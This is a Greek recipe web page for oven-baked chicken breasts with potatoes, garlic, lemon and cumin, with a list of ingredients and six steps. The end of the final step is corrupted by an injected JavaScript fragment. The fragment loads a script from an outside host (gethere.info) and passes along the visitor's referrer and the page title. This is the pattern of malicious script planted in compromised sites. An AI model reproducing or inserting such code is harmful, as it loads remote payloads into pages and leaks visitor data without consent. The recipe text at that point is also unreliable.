mommy
thilasmos
toketos
mycare - φροντίδα
athome
arkoudos
nanny - επιλέγοντας νταντάδες

Κοτόπουλο με πατάτες και σκόρδο

Κοτόπουλο με πατάτες και σκόρδο

chickenΤο κοτόπουλο είναι ένα ωραίο πιάτο για το εβδομαδιαίο μενού μας! Για να μην το βαριόμαστε όμως χρειάζεται να το μαγειρεύουμε με διάφορους τρόπους! Η αλήθεια είναι πως το κοτόπουλα είναι κατάλληλο για πειραματισμούς στην κουζίνα και μπορεί να εξυπηρετήσει όλες τις γεύσεις! Η παρακάτω συνταγή είναι με σκόρδο και πατατούλες στο φούρνο κι προσφέρει μια ιδιαίτερη γεύση στον ουρανίσκο μας! Το σκόρδο δίνει μια δυνατή γεύση ενώ η κατανάλωσή του μας παρέχει βιταμίνες Α, Β, Γ , καθώς και άλλα θρεπτικά συστατικά όπως μαγνήσιο, κάλιο, σίδηρο, ασβέστιο και ψευδάργυρο!

Υλικά

1 κιλό πατάτες κομμένες σε 4 κομμάτια
4 φιλέτα στήθη κοτόπουλο
ελαιόλαδο
μισό κουτ. γλ. κύμινο
αλάτι
πιπέρι
4 σκελίδες σκόρδο
2 κ.σ. καστανή ζάχαρη
1 λεμόνι
μία πρέζα τσίλι
2 κ.σ. μαϊντανό

Οδηγίες

1. Σε ένα ταψί βάζουμε τις κομμένες πατάτες και τις πασπαλίζουμε με το ελαιόλαδο, το κύμινο, αλάτι, πιπέρι και το βάζουμε στο φούρνο στους 180 βαθμούς ώστε να ψηθούν οι πατάτες περίπου για 30 λεπτά.
2. Σε ένα αντικολλητικό τηγάνι ζεσταίνουμε 2 κ.σ. ελαιόλαδο , τσιγαρίζουμε το ψιλοκομμένο σκόρδο μέχρι να πάρει χρώμα κι έπειτα το βγάζουμε από το λάδι.
3. Στο ίδιο λάδι ρίχνουμε έπειτα τη ζάχαρη, το χυμό από το λεμόνι και το τσίλι.
4. Βγάζουμε από το φούρνο το ταψί με τις πατάτες και τοποθετούμε τα φιλέτα στήθους αφού πρώτα τα έχουμε αλατοπιπερώσει και τα έχουμε αλείψει με το λάδι από σκόρδο.
5. Τα βάζουμε στο φούρνο μέχρι να ψηθεί καλά το κοτόπουλο και οι πατάτες και από τις δύο πλευρές.
6. Μόλις ψηθούν κόβουμε λίγο τα φιλέτα και τοποθετούμε στη σχισμή λίγο μαϊντανό. Σερβίρουμε σε πιάτο με πατάτες, έξτρα φρέσκο μαϊντανό και φέτες λεμονιούs.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + »;

Share This
3 Σχόλια
  1. […] post Κοτόπουλο με πατ&#9… appeared first on Arkoudos, Συνταγές … […]

  2. […] Κοτόπουλο με πατ&#9… […]